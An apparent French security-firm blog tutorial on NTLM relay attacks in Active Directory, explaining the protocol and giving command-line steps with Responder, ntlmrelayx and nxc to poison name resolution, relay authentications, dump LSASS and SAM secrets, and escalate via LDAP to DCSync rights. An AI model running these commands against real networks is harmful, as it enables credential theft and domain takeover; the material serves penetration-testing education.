Comprendre NTLM

NTLM (NT LAN Manager) est un protocole d'authentification défi-réponse (challenge/response) développé par Microsoft et encore largement utilisé dans les environnements Active Directory, notamment pour la rétrocompatibilité avec des systèmes legacy. Contrairement à Kerberos qui utilise un système de tickets, NTLM fonctionne selon un mécanisme en trois étapes :

  1. Négociation : Le client envoie une demande d'authentification au serveur
  2. Challenge : Le serveur répond avec un défi aléatoire (nonce de 8 octets)
  3. Response : Le client chiffre ce défi avec le hash de son mot de passe et renvoie la réponse
NTLM protocol
Protocole NTLM

Le serveur vérifie ensuite cette réponse, soit localement s'il connaît le hash du compte (authentification locale), soit en la transmettant au contrôleur de domaine via le protocole Netlogon (authentification de domaine).

La vulnérabilité fondamentale de NTLM réside dans le fait que ce protocole ne lie pas l'authentification à un service ou un serveur spécifique. Autrement dit, une réponse NTLM valide pour un service A peut être réutilisée pour s'authentifier auprès d'un service B, tant que le challenge peut être contrôlé ou relayé par l'attaquant. C'est précisément ce que le NTLM relais exploite.

Qu'est-ce que le NTLM relais ?

Le NTLM relais est une technique d'attaque Man-in-the-Middle qui consiste à intercepter une authentification NTLM légitime émise par une victime, puis à la relayer en temps réel vers un service cible sans jamais connaître le mot de passe. L'attaquant se positionne entre le client et le serveur, capture le challenge/response NTLM, et le retransmet à un autre service (SMB, LDAP, HTTP, MSSQL, WinRM, etc.) pour s'authentifier au nom de la victime.

Attaque par relais NTLM
Attaque par relais NTLM

Cette attaque exploite principalement l'absence de signature SMB/LDAP, qui ne permet pas de vérifier l'intégrité et l'authenticité des communications. Sans cette protection, l'attaquant peut modifier les flux réseau et rediriger les authentifications vers des cibles arbitraires.

Prérequis de l'attaque

Pour réussir une attaque NTLM relais, plusieurs conditions doivent être réunies :

Conditions réseau

  • Accès au réseau interne (position MITM possible)
  • Absence de signature SMB/LDAP sur les machines cibles
  • Possibilité d'intercepter ou de déclencher des authentifications NTLM

Limitations protocolaires

  • L'authentification ne peut pas être relayée vers la même machine source (protection SMB reflection)
  • Le compte relayé doit disposer de droits suffisants sur la cible pour réaliser des actions intéressantes
  • Certains services nécessitent des flags NTLM spécifiques (ex: LDAP signing)

Contexte d'exploitation

  • Environnement Active Directory avec authentifications NTLM actives
  • Services exposés acceptant l'authentification NTLM (SMB, LDAP, HTTP/WebDAV, MSSQL, etc.)
  • Comptes de service ou administrateurs susceptibles de s'authentifier automatiquement

Exploitation

L'exploitation d'une attaque NTLM relais nécessite deux composantes principales : un mécanisme pour capturer ou déclencher des authentifications NTLM, et un outil pour relayer ces authentifications vers des cibles vulnérables.

Identification des cibles vulnérables

Avant toute chose, il est crucial d'identifier les machines du réseau qui n'exigent pas la signature SMB, ainsi que les contrôleurs de domaine qui n'imposent pas le LDAP signing :

# Identifier les hôtes sans signature SMB
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt

# Vérifier si LDAP signing est requis sur les DC
nxc ldap 192.168.1.10 -u '' -p '' -M ldap-checker

Ces vérifications permettent de planifier la stratégie d'attaque : relais SMB → SMB pour les machines vulnérables, ou relais SMB/HTTP → LDAP si le contrôleur de domaine n'exige pas la signature LDAP.

Relais actif : De la capture à la compromission

La simple capture de hash NetNTLMv2 peut suffire si les mots de passe sont faibles, mais le véritable intérêt du NTLM relais réside dans la possibilité de relayer l'authentification en temps réel vers des services vulnérables sans avoir besoin de cracker quoi que ce soit.

ntlmrelayx, inclus dans la suite Impacket, est l'outil le plus puissant pour cette tâche. Il supporte le relais vers de multiples protocoles (SMB, LDAP, HTTP, MSSQL, etc.) et propose diverses actions post-exploitation automatisées.

Mais avant de relayer il nous faut obtenir une demande d'authentification NTLM. Nous allons donc utiliser Responder, un outil d'empoisonnement réseau qui exploite des mécanismes de résolution de noms obsolètes ou mal configurés, tels que LLMNR, NBT-NS et mDNS. En se faisant passer pour un service légitime sur le réseau, il incite les machines victimes à initier une authentification NTLM vers l'attaquant.

Processus d’une attaque par relais NTLM
Processus d’une attaque par relais NTLM

Configuration basique pour un relais SMB → SMB

Pour combiner Responder et ntlmrelayx, il faut d'abord désactiver les serveurs SMB et HTTP dans le fichier de configuration de Responder (Responder.conf), puis lancer les deux outils en parallèle :

# Terminal 1 : Responder en mode passif
responder -I eth0 -v

# Terminal 2 : ntlmrelayx pour le relay
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

Dès qu'une machine tentera de résoudre un nom inexistant, Responder l'empoisonnera et redirigera l'authentification vers ntlmrelayx, qui la relayera vers les cibles listées dans targets.txt.

Dump des secrets locaux

Si le compte relayé dispose de privilèges administrateur local, il est possible d'extraire automatiquement les hash stockés en mémoire (LSASS) et dans la base SAM :

ntlmrelayx.py -tf targets.txt -smb2support --dump-lsass --dump-sam

Capture des hash pour cracking différé

Dans certains cas, il peut être préférable de capturer les hash NetNTLMv2 pour les cracker ultérieurement, notamment lorsque les cibles ne sont pas directement exploitables :

ntlmrelayx.py -tf targets.txt -smb2support -of hashes.txt

Relais vers LDAP : Escalade vers le domaine

L'un des scénarios les plus dévastateurs consiste à relayer une authentification machine (compte terminant par $) vers le service LDAP du contrôleur de domaine. Si LDAP signing n'est pas requis, l'attaquant peut modifier des ACL dans Active Directory ou créer des comptes machines.

Vérification préalable

nxc ldap 192.168.1.10 -u '' -p '' -M ldap-checker

Configuration du relais vers LDAP

# Ajout de permissions DCSync sur un compte contrôlé
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user attacker

# Ou création d'un compte machine avec délégation (RBCD)
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access

Une fois les permissions DCSync obtenues, l'attaquant peut extraire l'intégralité de la base Active Directory, incluant les hash de tous les comptes, via secretsdump.py.

← Retour aux articles

Besoin d'un audit de sécurité ou d'un accompagnement sur mesure ?

Découvrir nos services →